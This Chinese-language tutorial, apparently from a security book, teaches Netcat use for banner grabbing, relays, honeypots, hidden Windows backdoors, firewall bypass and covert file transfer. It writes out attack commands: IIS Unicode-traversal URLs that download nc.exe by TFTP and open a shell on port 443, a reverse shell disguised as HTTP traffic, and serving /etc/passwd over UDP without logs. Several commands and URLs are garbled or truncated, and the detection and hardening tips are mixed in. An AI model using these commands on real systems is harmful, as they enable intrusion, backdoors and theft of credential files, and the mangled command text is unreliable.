Netcat用法--服务泄漏内部信息
要得到某些端口号的详细信息,可以连接到某个端口,对应的服务会告知它的版本号、结构甚至其工作的操作系统。所以,可以使用Netcat来扫描一个特定范围内的端口并报告在这些端口上运行的服务。
黑客必备cmd命令大全要使Netcat自动工作,必须在命令行中提供输入,这样它才不会由于没有来自用户的标准输入而导致阻塞。如果只是简单的运行nc192.168.0.2,会看不到任何信息,因为他会因为不知道应该连接到什么应用程序,而在连接的时候就被阻塞,这时他将等待进一步指令。如果需要指出为了让这些服务告诉我们更多的消息而应该首先发送给他的数据。这样如果通知QUIT这些服务,将会引起混淆,在这个过程中他们将会泄漏更多关于自身的信息。
[root@sasa nc]#echo QUIT|./nc-v192.168.0.2212280
注意:当自动连接到多个端口的时候,至少要使用一个-v选项,这样就可以将一个连接与下一个连接区分开来,同样,如果自动连接到多个端口并且其中有一个为Telnet 服务器,则需要使用-t选项,否则会在进行Telnet选项协商的时候出现问题。通常一个较好的解决办法是跳过端口23并对其进行单独访问。
系统管理员可以通过改变源代码或配置文件来该表这些提示,从而提供虚假的错误信息。这种欺骗不会让服务更安全或阻止技术高超的黑客,但偶尔也会有些作用。如果修改了提示,设计来通过检查特定提示的
蠕虫也许不能攻击该服务器了。当然并没有理由说蠕虫编写者一定会设计这个选项。一个有漏洞的服务总是会受到攻击的。
Netcat代理和中继
可以使用与上一节相同的技术来创建一个Netcat代理和中继。一个进行监听的Netcat可被用来生成另一个连接到不用主机或端口的Netcat连接,这样就创建了一个中继。
使用这种特性要求具备脚本的知识,因为Netcat的-e选项只有一行命令(而且也没有命令行参数),因此需要将所有在脚本中运行的命令一并打包。这非常有趣,我们可以创建一个能够跨越多台不同主机的中继。这种技术可以用户创建一个复杂的“通道”,如果黑客应用这种技术,那么系统管理员就很难追踪到我们。
这个特性也可以用在正常用途上,例如,中继特性可以让Netcat做Web代理。具体方法是:使Necat在不同系统的80端口上进行监听,让它来建立所有的Web连接(使用脚本),并经过这些连接传送数据。
Netcat用法--设置蜜罐
通过在一个众所周知的端口上进行监听的Netcat实例,而这个端口是一名黑客认为可能会
到易受攻击的服务的端口,就可以误导这名黑客,让他们认为运行了这个服务(实际上并没有运行)。如果仔细配置的话,设置可以诱骗黑客。
[root@sasa nc]#./nc-l-v-e fakemail.pl-p25&
假冒的mail脚本可以向外界传达信息,说它运行了一个“正常”的sendmail,并暗示别人来尝试攻击他。一旦连接终止(EOF),脚本需要重启相同的Netcat命令。如果有人开始试图攻击这个站点,那么在脚本中可以使用yes命令来随便用什么垃圾数据淹没他,即使不想这么野蛮,也至少可以在中到这名黑客的IP地址。
也可以开一个无伤大雅的玩笑,当用户连接到该端口时仅仅输出一些有趣的提示信息
切记:如果想完成比向端口发送大量报文更复杂的工作,例如接受用户输入,一定要确保该陷阱不会因此而引入某些不可预见的漏洞。
Netcat用法--隐藏和查后门
黑客可能尝试一种完全不同的方法。例如,如果他们入侵了一台上网冲浪的用户访问的Citrix服务器,用户就可以看到很多域名系统(Domain Name System,DNS)查操作以及大量的Web连接。运行netstat-a-n命令可以知道在TCP端口80上外出连接的负载。除了可以使用Netcat运行一个实例,在Wind
ows系统上进行监听并等待连接之外,还可以用它把程序的输入与输出通过管道传输给在远程系统的端口80上进行监听的另一个Netcat实例。最后,这个黑客运行:
[root@sasa/root]#nc-l-p80
黑客可以通过下面的命令在Windows系统中隐藏Netcat:
c:\>mkdir c:\Windows\System32\Drivers\q
c:\> c:\Windows\System32\Drivers\
c:\>cd Windows\System32\Drivers\q
c:\Windows\System32\Drivers\
cmd line:- sasa80
c:\>Windows\System32\Drivers\q>
现在,监听的Netcat应该从Windows系统中选择一个命令Shell,这样可以更好的隐藏后门而不被系统管理员发现。乍看起来,连接就像Internet Explorer建立的一个常见的HTTP连接一样。对于黑客而言,这
种方法的唯一缺点是,当Shell终止以后就没有办法在Windows端重新启动它了。
下面有几种方法可以让系统管理员发现Netcat的入侵:
使用Windows的文件查工具来搜索包含诸如“listen mode”或“inbound connects”这样的文件字符串的文件,或者在nc.exe库中硬编码的另一个字符串。所到的任何可执行文件都可能是Netcat.
检查任务管理器(Task Manager)来查任何欺骗性的文件。如果 文件莫名其妙的运行起来,就说明发生了黑客攻击,除非黑客把重命名了。
使用Netstat命令或Fport命令来观察当前正在使用的端口和使用这些端口的应用程序。然而,使用netstat时一定要小心,因为他可以很容易的被替换成“特洛伊木马”版本的程序,该程序被黑客精心加工过,可以隐藏黑客特定的活动,同样,某些时候Netstat并不报告正在进行监听的TCP套接字,除非某些程序已经连接到这些套接字。
使用Netcat默认的MD5指纹检查文件:ab41b1e2db77cebd9e2779110ee3915d。重命名或者隐藏文件都不会影响其指纹;然而,压缩工具和二进制编辑器可以用来修改该值。现在,我们已经知道了得到Windows机器上远程shell的两种不同用法。显然,有一些因素可能影响到这两种方法的成功率,如防火墙、端口过滤器和实际上是HTTP头过滤器的代理服务器(这里只列出了很少一部分)。
这种使用Netcat的方法推动了人们对IIS(Internet Information Server)4.0的Microsoft数据访问组件(Microsoft Data Access Components,MDAC)及Unicode漏洞的攻击活动。虽然有一些变化,但是在任何情况下,这种攻击都将利用有这些漏洞的服务来使得任何人都可以通过特定的URL像IIS用户一样在系统内执行命令。这种攻击可以使用诸如普通文件传输协议(Trivial File Transfer Protocol,TFTP)之类的程序从TFTP服务器的远程系统上下载一个nc.exe并运行后门命令。下面是试图使用TFTP利用Unicode的漏洞来从远程位置下载Netcat的URL:
/scripts/../%c1%pc/../winnt/?c+tftp%20-i%20s asa%%
如果成功,这个命令将把上的Netcat下载到Inetpub\Scripts目录下并改名为。黑客接下来可以使用另一个URL来启动Netcat:
/scripts/../%c1%pc/../inetpub/?-l%20-d%20-L%20-p%20443%
远程登录到系统的443端口将得到一个命令提示符。这是一种有效且简单的攻击方法,并且这种方法还可以被脚本化和自动化。然而,这种方法会留下明显的痕迹。比如,所有使用的URL将会被系统记录在IIS日志中,那么只要搜索IIS日志的tftp部分就能发现是否有人曾尝试进行这类攻击。同样,大多数当前
的IDS软件将会寻这种格式的URL(即URL中包含或特殊的Unicode字符)。
可以做一些事情来防止这种类型的攻击:
确保IIS是最新的安全更新版本
为IIS5.1及更早版本安装并配置URLscan以及IIS Lockdown Wizard工具。
在防火墙外阻塞所有从Web服务器出站的连接。在大多数情况下,Web服务器并不需要主动建立与外界的连接。虽然您的IIS易受攻击,但由于它不能连接到攻击者的tftp服务器,因此TFTP连接将会失败,从而保护了系统。
Netcat用法--绕过端口过滤器
如果您是一名黑客,那么可以使用Netcat来帮助您绕过防火墙。染过防火墙和端口过滤器的唯一方法是把不允许通过的流量伪装成允许通过的流量。
一些防火墙允许内部网络中源端口号为20而目标端口号较高的入站是流量通过,以支持FTP功能。如果防火墙配置得不好的话,使用nc-p20targethost6000命令就可以让您访问targethost的X server。它可能认为您到targethost的X server的访问是一个入站的FTP数据并让您通过。大多数防火墙会显式地把端口
号6000排除在可以访问的端口范围之外,但是如果从源端口20连接,仍然可以与端口号高于1024的服务会话。
DNS也有同样的问题。几乎所有的防火墙都不得允许出站的DNS数据,但是没有必要允许入站的DNS数据。如果系统在允许双向的DNS的防火墙后面,就可以使用这种特殊的性通过赋予不被允许通过的流量一个源端口号53,而使得他们通过防火墙。从防火墙背后运行nc-p53targethost9898命令可以绕过过滤器,而这个过滤器通常情况下会阻塞出站的America Online(AOL)Instant Messenger流量。虽然必须处理这种情况,但弄中您可以看到任何使用Netcat来探索规则不严格的防火墙漏洞。
系统管理员将会检查像这样的系统漏洞。对于初学者来说,通常可以对任何DNS 的TCP流量采取禁止措施,这将避免大量DNS端口过滤问题。强迫用户使用被动FTP,这种被动FTP禁止服务器能够在TCP端口20上建立与客户的反向连接,可以取消这个漏洞。
有一篇微软的技术文章(support.microsoft/kb/813878)描述了一些潜在问题,攻击者可以使用88端口进行扫描。88端口上运行了Windows的IPSec服务。
Netcat用法--构建自己的FTP
Netcat允许用户建立数据管道,它提供了哪些好处呢?
通过端口过滤器的文件传输通过把输入和输出文件放在数据管道的两端可以有效的从一个网络位置向另一个网络位置发送或者复制文件而不需要使用任何的“正式”的文件传输协议。如果您可以访问一个系统的Shell,但是因为端口过滤阻塞了FTP、NFS (Network File System)及Samba共享功能而不能与之进行任何类型的文件传输,就可以选择这种方法。在源文件所在位置上运行下面的命令:
nc-l-u-p55555<file_we_want
从客户端运行
nc-u-targethost555555>copy_of_file
建立了连接后将立即开始传输文件,除非遇到EOF(Ctrl+c),否则整个文件将保持完美无缺。
隐蔽(Cocert)文件传输黑客可以使用Netcat来从系统传输文件而不会保留下任何审计踪迹,虽然FTP或安全复制(Secure Copy,scp)将留下日志记录,但Netcat 不会。
nc-l-u-p55555</etc.passwd
当黑客连接到命令中的UDP时,可以下载/etc/passwd文件而不会让任何人知道(除非此时系统管理员正在运行ps(显示进程状态命令)或netstat命令),而这是很难碰到的事情。
获得应用程序的输出假定编写了一个脚本把一些重要的系统文件(如passwd、group、f和hosts.allow)显示到标准输出设备上,并运行一些系统命令(如uname、ps和netstat)来得到这些信息。假设把这个脚本称为sysinfo,那么在目标机器上可以运行下面的命令:
nc-l-u-p55555-e sysinfo
或者:
sysinfo|nc-l-u-p55555
这样就可以获得该命令的输出了,使得下面的命令可以将这些信息写入文件中:
nc-u target55555&
这两个命令都把sysinfo脚本的输出通过管道传送到进行监听的Netcat,并由它通过网络管道将这些数据送到任何一个连接上。-e选项表示把I/O“移交”到它所执行的应用程序。当sysinfo的I/O完成后(遇到EOF),监听者就会关闭,客户端也会关闭。如果sysinfo 通过管道得到输入,那么sysinfo的输出也将传送给客户端,但Netcat将处理这个I/O.客户端将不会接收到EOF并等待看监听者是否发送更多的数据。
同样,利用它可以做一些非恶意的工作,例如,可以在目标机器上建立与本地机器上的Netcat的连接。如果运行nc-l-u-p55555&命令,Netcat将会在本地机器上进行监听,同样有两个命令可供选择;
nc-u-e sysinfo homehost55555
或者
sysinfo|nc-u homehost55555
在UNIX系统中,当启动netcat时,如果要使用-e选项运行的命令没有在当前工作目录中,那么就需要指定这个命令的全路径名。Windows版的Netcat还可以使用%PATH%变量,且没有这一限制。
同样,两者的区别是使用管道将让客户端保持打开状态,即使sysinfo已经发送完成了它的输入也保持打开,而使用-e选项将让netcat客户端在sysinfo结束时立即关闭。当想在远程主机上运行一个应用程序并通过Netcat的数据管道做I/O时,这两种模式的不同之处是显而易见的
获得对应程序的控制在“获得对shell的远程访问”小节中,我们描述了怎么样在Windows系统中启动一个远程shell,也可以在Unix系统中完成相同的工作。